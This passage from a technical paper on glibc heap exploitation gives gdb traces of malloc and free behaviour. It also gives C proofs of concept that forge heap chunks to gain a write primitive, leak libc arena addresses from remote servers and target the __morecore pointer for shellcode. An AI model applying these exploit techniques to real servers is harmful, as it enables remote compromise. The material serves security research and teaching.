fprintf(stderr," free_chunk @ %p - size 0x%.4x\n",
p,chunksize(p));
}
(void)mutex_unlock(&ar_ptr->mutex);
fprintf(stderr,"\n");
}
--] 4.2.1 Proof of concept 2: Heap layout debugging
We'll use the following code to show how the debug functions help to
analyse the heap layout:
#include <malloc.h>
int main(void){
void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata;
curly = malloc(256);
larry = malloc(256);
moe = malloc(256);
po = malloc(256);
lala = malloc(256);
free(larry);
free(po);
tw = malloc(128);
piniata = malloc(128);
dipsi = malloc(1500);
free(dipsi);
free(lala);
}
The sample debugging section helps to understand malloc's basic
algorithms and data structures:
(gdb) set env LD_PRELOAD ./heapy.so
We override the real malloc with our debugging functions, heapy.so also
includes the heap layout dumping functions.
(gdb) r
Starting program: /home/jp/cerebro/heapy/debugging_sample
4 curly = malloc(256);
[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
extended top chunk:
previous size 0x0
new top 0x80496a0 size 0x961
returning 0x8049598 from top chunk
(gdb) p heap_dump(0x40018040)
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0961 (T)
sbrk_end 0x804a000
(gdb) p bin_dump(0x40018040)
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960
(gdb) p heap_layout(0x40018040)
--- HEAP LAYOUT ---
|A||T|
The first chunk is allocated, note the difference between the requested
size (256 bytes) and the size passed to chunk_alloc(). As there is no
chunk, the top needs to be extended and memory is requested to the
operating system. More memory than the needed is requested, the remaining
space is allocated to the 'top chunk'.
In the heap_dump()'s output the (A) represents an allocated chunk, while
the (T) means the chunk is the top one. Note the top chunk's size (0x961)
has its last bit set, indicating the previous chunk is allocated:
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use
*/
#define PREV_INUSE 0x1UL
The bin_dump()'s output shows no bin, as there is no free chunk yet,
except from the top. The heap_layout()'s output just shows an allocated
chunk next to the top.
5 larry = malloc(256);
[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
returning 0x80496a0 from top chunk
new top 0x80497a8 size 0x859
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0109 (A)
chunk 0x80497a8 0x0859 (T)
sbrk_end 0x804a000
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858
--- HEAP LAYOUT ---
|A||A||T|
A new chunk is allocated from the remaining space at the top chunk. The
same happens with the next malloc() calls.
6 moe = malloc(256);
[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
returning 0x80497a8 from top chunk
new top 0x80498b0 size 0x751
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0109 (A)
chunk 0x80497a8 0x0109 (A)
chunk 0x80498b0 0x0751 (T)
sbrk_end 0x804a000
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750
--- HEAP LAYOUT ---
|A||A||A||T|
7 po = malloc(256);
[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
returning 0x80498b0 from top chunk
new top 0x80499b8 size 0x649
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0109 (A)
chunk 0x80497a8 0x0109 (A)
chunk 0x80498b0 0x0109 (A)
chunk 0x80499b8 0x0649 (T)
sbrk_end 0x804a000
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648
--- HEAP LAYOUT ---
|A||A||A||A||T|
8 lala = malloc(256);
[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
returning 0x80499b8 from top chunk
new top 0x8049ac0 size 0x541
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0109 (A)
chunk 0x80497a8 0x0109 (A)
chunk 0x80498b0 0x0109 (A)
chunk 0x80499b8 0x0109 (A)
chunk 0x8049ac0 0x0541 (T)
sbrk_end 0x804a000
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
--- HEAP LAYOUT ---
|A||A||A||A||A||T|
9 free(larry);
[1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0)
fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk 0x80497a8 0x0108 (A)
chunk 0x80498b0 0x0109 (A)
chunk 0x80499b8 0x0109 (A)
chunk 0x8049ac0 0x0541 (T)
sbrk_end 0x804a000
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
bin 33 @ 0x40018148
free_chunk @ 0x80496a0 - size 0x0108
--- HEAP LAYOUT ---
|A||33||A||A||A||T|
A chunk is freed. The frontlink() macro is called to insert the new free
chunk into the corresponding bin:
frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd);
Note the arena address parameter (ar_ptr) was omitted in the output.
In this case, the chunk at 0x80496a0 was inserted in the bin number 33
according to its size. As this chunk is the only one in its bin (we can
check this in the bin_dump()'s output), it's a lonely chunk (LC) (we'll
see later that being lonely makes 'him' dangerous...), its
bk and fd pointers are equal and point to the bin number 33.
In the heap_layout()'s output, the new free chunk is represented by the
number of the bin where it is located.
10 free(po);
[1679] FREE(0x80498b8) - CHUNK_FREE(0x40018040,0x80498b0)
fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 |
chunk 0x80497a8 0x0108 (A)
chunk 0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 |
chunk 0x80499b8 0x0108 (A)
chunk 0x8049ac0 0x0541 (T)
sbrk_end 0x804a000
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
bin 33 @ 0x40018148
free_chunk @ 0x80496a0 - size 0x0108
free_chunk @ 0x80498b0 - size 0x0108
--- HEAP LAYOUT ---
|A||33||A||33||A||T|
Now, we have two free chunks in the bin number 33. We can appreciate now
how the double linked list is built. The forward pointer of the chunk at
0x80498b0 points to the other chunk in the list, the backward pointer
points to the list head, the bin.
Note that there is no longer a lonely chunk. Also, we can see the
difference between a heap address and a libc address (the bin address),
0x080496a0 and 0x40018148 respectively.
11 tw = malloc(128);
[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split)
new last_remainder 0x8049728
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0089 (A)
chunk 0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk 0x80497a8 0x0108 (A)
chunk 0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk 0x80499b8 0x0108 (A)
chunk 0x8049ac0 0x0541 (T)
sbrk_end 0x804a000
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
bin 1 @ 0x40018048
free_chunk @ 0x8049728 - size 0x0080
bin 33 @ 0x40018148
free_chunk @ 0x80498b0 - size 0x0108
--- HEAP LAYOUT ---
|A||A||L||A||33||A||T|
In this case, the requested size for the new allocation is smaller than
the size of the available free chunks. So, the first freed buffer is taken
from the bin with the unlink() macro and splitted. The first part is
allocated, the remaining free space is called the 'last remainder', which
is always stored in the first bin, as we can see in the bin_dump()'s
output.
In the heap_layout()'s output, the last remainder chunk is represented
with a L; in the heap_dump()'s output, (LR) is used.
12 piniata = malloc(128);
[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
clearing last_remainder
frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder
unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split)
new last_remainder 0x8049938
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0089 (A)
chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk 0x80497a8 0x0108 (A)
chunk 0x80498b0 0x0089 (A)
chunk 0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk 0x80499b8 0x0108 (A)
chunk 0x8049ac0 0x0541 (T)
sbrk_end 0x804a000
$25 = void
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
bin 1 @ 0x40018048
free_chunk @ 0x8049938 - size 0x0080
bin 16 @ 0x400180c0
free_chunk @ 0x8049728 - size 0x0080
--- HEAP LAYOUT ---
|A||A||16||A||A||L||A||T|
As the last_remainder size is not enough for the requested allocation, the
last remainder is cleared and inserted as a new free chunk into the
corresponding bin. Then, the other free chunk is taken from its bin and
split as in the previous step.
13 dipsi = malloc(1500);
[1679] MALLOC(1500) - CHUNK_ALLOC(0x40018040,1504)
clearing last_remainder
frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder
extended top chunk:
previous size 0x540
new top 0x804a0a0 size 0xf61
returning 0x8049ac0 from top chunk
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0089 (A)
chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk 0x80497a8 0x0108 (A)
chunk 0x80498b0 0x0089 (A)
chunk 0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 |
chunk 0x80499b8 0x0108 (A)
chunk 0x8049ac0 0x05e1 (A)
chunk 0x804a0a0 0x0f61 (T)
sbrk_end 0x804b000
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60
bin 16 @ 0x400180c0
free_chunk @ 0x8049728 - size 0x0080
free_chunk @ 0x8049938 - size 0x0080
--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||A||T|
As no available free chunk is enough for the requested allocation size,
the top chunk was extended again.
14 free(dipsi);
[1679] FREE(0x8049ac8) - CHUNK_FREE(0x40018040,0x8049ac0)
merging with top
new top 0x8049ac0
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0089 (A)
chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk 0x80497a8 0x0108 (A)
chunk 0x80498b0 0x0089 (A)
chunk 0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 |
chunk 0x80499b8 0x0108 (A)
chunk 0x8049ac0 0x1541 (T)
sbrk_end 0x804b000
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540
bin 16 @ 0x400180c0
free_chunk @ 0x8049728 - size 0x0080
free_chunk @ 0x8049938 - size 0x0080
--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||T|
The chunk next to the top chunk is freed, so it gets coalesced with it,
and it is not inserted in any bin.
15 free(lala);
[1679] FREE(0x80499c0) - CHUNK_FREE(0x40018040,0x80499b8)
unlink(0x8049938,0x400180c0,0x8049728) for back consolidation
merging with top
new top 0x8049938
--- HEAP DUMP ---
ADDRESS SIZE FD BK
sbrk_base 0x8049598
chunk 0x8049598 0x0109 (A)
chunk 0x80496a0 0x0089 (A)
chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk 0x80497a8 0x0108 (A)
chunk 0x80498b0 0x0089 (A)
chunk 0x8049938 0x16c9 (T)
sbrk_end 0x804b000
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8
bin 16 @ 0x400180c0
free_chunk @ 0x8049728 - size 0x0080
--- HEAP LAYOUT ---
|A||A||16||A||A||T|
Again, but this time also the chunk before the freed chunk is coalesced, as
it was already free.
---------------------------------------------------------------------------
--] 4.3 - Layout reset - initial layout prediction - server model
In this section, we analyse how different scenarios may impact on the
exploitation process.
In case of servers that get restarted, it may be useful to cause a 'heap
reset', which means crashing the process on purpose in order to obtain a
clean and known initial heap layout.
The new heap that gets built together with the new restarted process is
in its 'initial layout'. This refers to the initial state of the heap
after the process initialization, before receiving any input from the
user. The initial layout can be easily predicted and used as a the known
starting point for the heap layout evolution prediction, instead of using
a not virgin layout result of several modifications performed while
serving client requests. This initial layout may not vary much across
different versions of the targeted server, but in case of major changes in
the source code.
One issue very related to the heap layout analysis is the kind of process
being exploited.
In case of a process that serves several clients, heap layout evolution
prediction is harder, as may be influenced by other clients that may be
interacting with our target server while we are trying to exploit it.
However, it gets useful in case where the interaction between the server
and the client is very restricted, as it enables the attacker to open
multiple connections to affect the same process with different input
commands.
On the other hand, exploiting a one client per process server (i.e. a
forking server) is easier, as long as we can accurately predict the
initial heap layout and we are able to populate the process memory in
a fully controlled way.
As it is obvious, a server that does not get restarted, gives us just one
shot so, for example, bruteforcing and/or 'heap reset' can't be applied.
---------------------------------------------------------------------------
--] 4.4 Obtaining information from the remote process
The idea behind the techniques in this section is to force a remote
server to give us information to aid us in finding the memory locations
needed for exploitation.
This concept was already used as different mechanisms in the 'Bypassing
PaX ASLR' paper [13], used to bypass randomized space address processes.
Also, the idea was suggested in [4], as 'transforming a write primitive in
a read primitive'.
--] 4.4.1 Modifying server static data - finding process' DATA
This technique was originally seen in wuftpd ~{ exploits. When the ftpd
process receives a 'help' request, answers with all the available commands.
These are stored in a table which is part of the process' DATA, being a
static structure. The attacker tries to overwrite part of the structure,
and using the 'help' command until he sees a change in the server's answer.
Now the attacker knows an absolute address within the process' DATA, being
able to predict the location of the process' GOT.
--] 4.4.2 Modifying user input - finding shellcode location
The following technique allows the attacker to find the exact location of
the injected shellcode within the process' address space, being
independent of the target process.
To obtain the address, the attacker provides the process with some bogus
data, which is stored in some part of the process. Then, the basic
primitive is used, trying to write 4 bytes in the location the bogus
data was previously stored. After this, the server is forced to reply
using the supplied bogus data.
If the replayed data differs from the original supplied (taken into account
any transformation the server may perform on our input), we can be sure
that next time we send the same input sequence to the server, it will be
stored in the same place. The server's answer may be truncated if a
function expecting NULL terminating strings is used to craft it, or to
obtain the answer's length before sending it through the network.
In fact, the provided input may be stored multiple times in different
locations, we will only detect a modification when we hit the location
where the server reply is crafted.
Note we are able to try two different addresses for each connection,
speeding up the bruteforcing mechanism.
The main requirement needed to use this trick, is being able to trigger
the aa4bmo primitive between the time the supplied data is stored and the
time the server's reply is built. Understanding the process allocation
behavior, including how is processed each available input command is
needed.
--] 4.4.2.1 Proof of concept 3 : Hitting the output
The following code simulates a process which provides us with a aa4bmo
primitive to try to find where a heap allocated output buffer is located:
#include <stdio.h>
#define SZ 256
#define SOMEOFFSET 5 + (rand() % (SZ-1))
#define PREV_INUSE 1
#define IS_MMAP 2
#define OUTPUTSZ 1024
void aa4bmoPrimitive(unsigned long what, unsigned long where){
unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
int i = 0;
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = what;
unlinkMe[i++] = where-8;
for(;i<SZ;i++){
unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
}
free(unlinkMe+SOMEOFFSET);
return;
}
int main(int argc, char **argv){
long where;
char *output;
int contador,i;
printf("## OUTPUT hide and seek ##\n\n");
output = (char*)malloc(OUTPUTSZ);
memset(output,'O',OUTPUTSZ);
for(contador=1;argv[contador]!=NULL;contador++){
where = strtol(argv[contador], (char **)NULL, 16);
printf("[.] trying %p\n",where);
aa4bmoPrimitive(where,where);
for(i=0;i<OUTPUTSZ;i++)
if(output[i] != 'O'){
printf("(!) you found the output @ %p :(\n",where);
printf("[%s]\n",output);
return 0;
}
printf("(-) output was not @ %p :P\n",where);
}
printf("(x) did not find the output <:|\n");
}
LD_PRELOAD=./heapy.so ./hitOutput 0x8049ccc 0x80498b8 0x8049cd0 0x8049cd4
0x8049cd8 0x8049cdc 0x80498c8 > output
## OUTPUT hide and seek ##
[.] trying 0x8049ccc
(-) output was not @ 0x8049ccc :P
[.] trying 0x80498b8
(-) output was not @ 0x80498b8 :P
[.] trying 0x8049cd0
(-) output was not @ 0x8049cd0 :P
[.] trying 0x8049cd4
(-) output was not @ 0x8049cd4 :P
[.] trying 0x8049cd8
(-) output was not @ 0x8049cd8 :P
[.] trying 0x8049cdc
(-) output was not @ 0x8049cdc :P
[.] trying 0x80498c8
(!) you found the output @ 0x80498c8 :(
[OOOOOOOO?~X^D^H?~X^D^HOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
...
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO]
Note the stamped output in the following hexdump:
...
7920 756f 6620 756f 646e 7420 6568 6f20
7475 7570 2074 2040 7830 3038 3934 6338
2038 283a 5b0a 4f4f 4f4f 4f4f 4f4f 98c8 <==
0804 98c8 0804 4f4f 4f4f 4f4f 4f4f 4f4f <==
4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f
4f4f 4f4f 4f4f 0a5d
This bruteforcing mechanism is not completely accurate in some cases, for
example, when the target server uses an output buffering scheme.
In order to improve the technique, we might mark some part of the supplied
data as real shellcode, and other as nops, requiring the nop part to be hit
while bruteforcing in order to avoid obtaining an address in the middle of
our shellcode. Even better, we could tag each four bytes with a masked
offset (i.e. to avoid character \x00 i.e.), when we analyse the reply we
will now obtain the expected offset to the shellcode, so being able in a
second try to see if actually in that expected address was stored our
shellcode, detecting and avoiding this way the risk of our input being
split and stored separated in the heap.
For example, in the CVS 'Directory' double free exploit [7], unrecognized
commands (i.e. 'cucucucucu') are used to populate the server heap. The
server does not answer, just stores the provided data in the heap, and
waits, until a noop or a command is received. After that, the unrecognized
command that was sent is sent back without any modification to the client.
We can provide the server with data almost without any size restriction,
this data is stored in the heap, until we force it to be replayed to us.
However, analysing how our unrecognized command is stored in the heap we
find that, instead of what we expected (a single memory chunk with our
data), there are other structures mixted with our input:
--- HEAP DUMP ---
ADDRESS SIZE FD BK
[...]
chunk 0x80e9998 0x00661 (F) | 0x40018e48 | 0x40018e48 |
chunk 0x80e9ff8 0x10008 (A)
chunk 0x80fa000 0x00ff9 (F) | 0x40018ed0 | 0x0810b000 |
chunk 0x80faff8 0x10008 (A)
chunk 0x810b000 0x00ff9 (F) | 0x080fa000 | 0x0811c000 |
chunk 0x810bff8 0x10008 (A)
chunk 0x813e000 0x04001 (T)
sbrk_end 0x8142000
This happens because error messages are buffered when generated, waiting
to be flushed, some buffering state internal structures get allocated,
and our data is split and stored in fixed size error buffers.
--] 4.4.3 Modifying user input - finding libc's DATA
In this situation, we are able to provide some input to the vulnerable
server which is then sent as output to us again. For example, in the CVS
'Directory' double free() vulnerability, we give the server and invalid
command, which is finally echoed back to the client explaining it was an
invalid command.
If we are able to force a call to free(), to an address pointing in
somewhere in the middle of our provided input, before it is sent back to
the client, we will be able to get the address of a main_arena's bin.
The ability to force a free() pointing to our supplied input, depends
on the exploitation scenario, being simple to achieve this in
'double-free' situations.
When the server frees our input, it founds a very big sized chunk, so
it links it as the first chunk (lonely chunk) of the bin. This depends
mainly on the process heap layout, but depending on what we are exploiting
it should be easy to predict which size would be needed to create the
new free chunk as a lonely one.
When frontlink() setups the new free chunk, it saves the bin address
in the fw and bk pointer of the chunk, being this what ables us to obtain
later the bin address.
Note we should be careful with our input chunk, in order to avoid the
process crashing while freeing our chunk, but this is quite simple in most
cases, i.e. providing a known address near the end of the stack.
The user provides as input a 'cushion chunk' to the target process. free()
is called in any part of our input, so our especially crafted chunk is
inserted in one of the last bins (we may know it's empty from the heap
analysis stage, avoiding then a process crash). When the provided cushion
chunk is inserted into the bin, the bin's address is written in the fd and
bk fields of the chunk's header.
--] 4.4.3.1 Proof of concept 4 : Freeing the output
The following code creates a 'cushion chunk' as it would be sent to the
server, and calls free() at a random location within the chunk (as the
target server would do).
The cushion chunk writes to a valid address to avoid crashing the process,
and its backward and forward pointer are set with the bin's address by
the frontlink() macro.
Then, the code looks for the wanted addresses within the output, as would
do an exploit which received the server answer.
#include <stdio.h>
#define SZ 256
#define SOMEOFFSET 5 + (rand() % (SZ-1))
#define PREV_INUSE 1
#define IS_MMAP 2
unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where){
unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
int i = 0;
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = what;
unlinkMe[i++] = where-8;
for(;i<SZ;i++){
unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
}
printf ("(-) calling free() at random address of output buffer...\n");
free(unlinkMe+SOMEOFFSET);
return unlinkMe;
}
int main(int argc, char **argv){
unsigned long *output;
int i;
printf("## FREEING THE OUTPUT PoC ##\n\n");
printf("(-) creating output buffer...\n");
output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4);
printf("(-) looking for bin address...\n");
for(i=0;i<SZ-1;i++)
if(output[i] == output[i+1] &&
((output[i] & 0xffff0000) != 0xffff0000)) {
printf("(!) found bin address -> %p\n",output[i]);
return 0;
}
printf("(x) did not find bin address\n");
}
./freeOutput
## FREEING THE OUTPUT PoC ##
(-) creating output buffer...
(-) calling free() at random address of output buffer...
(-) looking for bin address...
(!) found bin address -> 0x4212b1dc
We get chunk free with our provided buffer:
chunk_free (ar_ptr=0x40018040, p=0x8049ab0) at heapy.c:3221
(gdb) x/20x p
0x8049ab0: 0xfffffd6d 0xfffffd69 0xfffffd65 0xfffffd61
0x8049ac0: 0xfffffd5d 0xfffffd59 0xfffffd55 0xfffffd51
0x8049ad0: 0xfffffd4d 0xfffffd49 0xfffffd45 0xfffffd41
0x8049ae0: 0xfffffd3d 0xfffffd39 0xfffffd35 0xfffffd31
0x8049af0: 0xfffffd2d 0xfffffd29 0xfffffd25 0xfffffd21
(gdb)
0x8049b00: 0xfffffd1d 0xfffffd19 0xfffffd15 0xfffffd11
0x8049b10: 0xfffffd0d 0xfffffd09 0xfffffd05 0xfffffd01
0x8049b20: 0xfffffcfd 0xfffffcf9 0xfffffcf5 0xfffffcf1
0x8049b30: 0xfffffced 0xfffffce9 0xfffffce5 0xfffffce1
0x8049b40: 0xfffffcdd 0xfffffcd9 0xfffffcd5 0xfffffcd1
(gdb)
0x8049b50: 0xfffffccd 0xfffffcc9 0xfffffcc5 0xfffffcc1
0x8049b60: 0xfffffcbd 0xfffffcb9 0xfffffcb5 0xfffffcb1
0x8049b70: 0xfffffcad 0xfffffca9 0xfffffca5 0xfffffca1
0x8049b80: 0xfffffc9d 0xfffffc99 0xfffffc95 0xfffffc91
0x8049b90: 0xfffffc8d 0xfffffc89 0xfffffc85 0xfffffc81
(gdb)
3236 next = chunk_at_offset(p, sz);
3237 nextsz = chunksize(next);
3239 if (next == top(ar_ptr)) /* merge with top */
3278 islr = 0;
3280 if (!(hd & PREV_INUSE)) /* consolidate backward */
3294 if (!(inuse_bit_at_offset(next, nextsz)))
/* consolidate forward */
3296 sz += nextsz;
3298 if (!islr && next->fd == last_remainder(ar_ptr))
3306 unlink(next, bck, fwd);
3315 set_head(p, sz | PREV_INUSE);
3316 next->prev_size = sz;
3317 if (!islr) {
3318 frontlink(ar_ptr, p, sz, idx, bck, fwd);
After the frontlink() macro is called with our supplied buffer, it gets
the address of the bin in which it is inserted:
fronlink(0x8049ab0,-668,126,0x40018430,0x40018430) new free chunk
(gdb) x/20x p
0x8049ab0: 0xfffffd6d 0xfffffd65 0x40018430 0x40018430
0x8049ac0: 0xfffffd5d 0xfffffd59 0xfffffd55 0xfffffd51
0x8049ad0: 0xfffffd4d 0xfffffd49 0xfffffd45 0xfffffd41
0x8049ae0: 0xfffffd3d 0xfffffd39 0xfffffd35 0xfffffd31
0x8049af0: 0xfffffd2d 0xfffffd29 0xfffffd25 0xfffffd21
(gdb) c
Continuing.
(-) looking for bin address...
(!) found bin address -> 0x40018430
Let's check the address we obtained:
(gdb) x/20x 0x40018430
0x40018430 <main_arena+1008>: 0x40018428 0x40018428 0x08049ab0
0x08049ab0
0x40018440 <main_arena+1024>: 0x40018438 0x40018438 0x40018040
0x000007f0
0x40018450 <main_arena+1040>: 0x00000001 0x00000000 0x00000001
0x0000016a
0x40018460 <__FRAME_END__+12>: 0x0000000c 0x00001238 0x0000000d
0x0000423c
0x40018470 <__FRAME_END__+28>: 0x00000004 0x00000094 0x00000005
0x4001370c
And we see it's one of the last bins of the main_arena.
Although in this example we hit the cushion chunk in the first try on
purpose, this technique can be applied to brute force the location of our
output buffer also at the same time (if we don't know it beforehand).
--] 4.4.4 Vulnerability based heap memory leak - finding libc's data
In this case, the vulnerability itself leads to leaking process memory.
For example, in the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow'
vulnerability [6], the attacker is able to overflow a buffer and overwrite
a variable used to track a buffer length.
When this length is overwritten with a length greater than the original,
the process sends the content of the buffer (stored in the process' heap)
to the client, sending more information than the originally stored. The
attacker obtains then a limited portion of the process heap.
---------------------------------------------------------------------------
--] 4.5 Abusing the leaked information
The goal of the techniques in this section is to exploit the information
gathered using one of the process information leak tricks shown before.
--] 4.5.1 Recognizing the arena
The idea is to get from the previously gathered information, the address
of a malloc's bin. This applies mainly to scenarios were we are able to
leak process heap memory. A bin address can be directly obtained if the
attacker is able to use the 'freeing the output' technique.
The obtained bin address can be used later to find the address of a
function pointer to overwrite with the address of our shellcode, as shown
in the next techniques.
Remembering how the bins are organized in memory (circular
double linked lists), we know that a chunk hanging from any bin
containing just one chunk will have both pointers (bk and fd)
pointing to the head of the list, to the same address, since the list
is circular.
[bin_n] (first chunk)
ptr] ----> [<- chunk ->] [<- chunk ->] [<- fd
[ chunk
ptr] ----> [<- chunk ->] [<- chunk ->] [<- bk
[bin_n+1] (last chunk)
.
.
.
[bin_X]
ptr] ----> [<- fd
[ lonely but interesting chunk
ptr] ----> [<- bk
.
.
This is really nice, as it allows us to recognize within the
heap which address is pointing to a bin, located in libc's space address
more exactly, to some place in the main_arena as this head of the bin
list is located in the main_arena.
Then, we can look for two equal memory addresses, one next to the
other, pointing to libc's memory (looking for addresses of
the form 0x4....... is enough for our purpose). We can suppose these
pairs of addresses we found are part of a free chunk which is the only
one hanging of a bin, we know it looks like...
size | fd | bk
How easy is to find a lonely chunk in the heap immensity?
First, this depends on the exploitation scenario and the exploited process
heap layout. For example, when exploiting the OpenSSL bug along different
targets, we could always find at least a lonely chunk within the leaked
heap memory.
Second, there is another scenario in which we will be able to locate
a malloc bin, even without the capability to find a lonely chunk. If
we are able to find the first or last chunk of a bin, one of its
pointers will reference an address within main_arena, while the
other one will point to another free chunk in the process heap. So,
we'll be looking for pairs of valid pointers like these:
[ ptr_2_libc's_memory | ptr_2_process'_heap ]
or
[ ptr_2_process'_heap | ptr_2_libc's_memory ]
We must take into account that this heuristic will not be as accurate
as searching for a pair of equal pointers to libc's space address, but
as we already said, it's possible to cross-check between multiple possible
chunks.
Finally, we must remember this depends totally on the way we are
abusing the process to read its memory. In case we can read arbitrary
addresses of memory, this is not an issue, the problem gets harder
as more limited is our mechanism to retrieve remote memory.
--] 4.5.2 Morecore
Here, we show how to find a function pointer within the libc after
obtaining a malloc bin address, using one of the before explained
mechanisms.
Using the size field of the retrieved chunk header and the bin_index() or
smallbin_index() macro we obtain the exact address of the main_arena.
We can cross check between multiple supposed lonely chunks that the
main_arena address we obtained is the real one, depending on the
quantity of lonely chunks pairs we'll be more sure. As long as the
process doesn't crash, we may retrieve heap memory several times, as
main_arena won't change its location. Moreover, I think it
wouldn't be wrong to assume main_arena is located in the same address
across different processes (this depends on the address on which the
libc is mapped). This may even be true across different servers
processes, allowing us to retrieve the main_arena through a leak in a
process different from the one being actively exploited.
Just 32 bytes before &main_arena[0] is located __morecore.
Void_t *(*__morecore)() = __default_morecore;
MORECORE() is the name of the function that is called through malloc
code in order to obtain more memory from the operating system, it
defaults to sbrk().
Void_t * __default_morecore ();
Void_t *(*__morecore)() = __default_morecore;
#define MORECORE (*__morecore)
The following disassembly shows how MORECORE is called from chunk_alloc()
code, an indirect call to __default_morecore is performed by default:
<chunk_alloc+1468>: mov 0x64c(%ebx),%eax
<chunk_alloc+1474>: sub $0xc,%esp
<chunk_alloc+1477>: push %esi
<chunk_alloc+1478>: call *(%eax)
where $eax points to __default_morecore
(gdb) x/x $eax
0x4212df80 <__morecore>: 0x4207e034
(gdb) x/4i 0x4207e034
0x4207e034 <__default_morecore>: push %ebp
0x4207e035 <__default_morecore+1>: mov %esp,%ebp
0x4207e037 <__default_morecore+3>: push %ebx
0x4207e038 <__default_morecore+4>: sub $0x10,%esp
MORECORE() is called from the malloc() algorithm to extend the memory top,
requesting the operating system via the sbrk.
MORECORE() gets called twice from malloc_extend_top()
brk = (char*)(MORECORE (sbrk_size));
...
/* Allocate correction */
new_brk = (char*)(MORECORE (correction));
which is called by chunk_alloc():
/* Try to extend */
malloc_extend_top(ar_ptr, nb);
Also, MORECORE is called by main_trim() and top_chunk().
We just need to sit and wait until the code reaches any of these points.
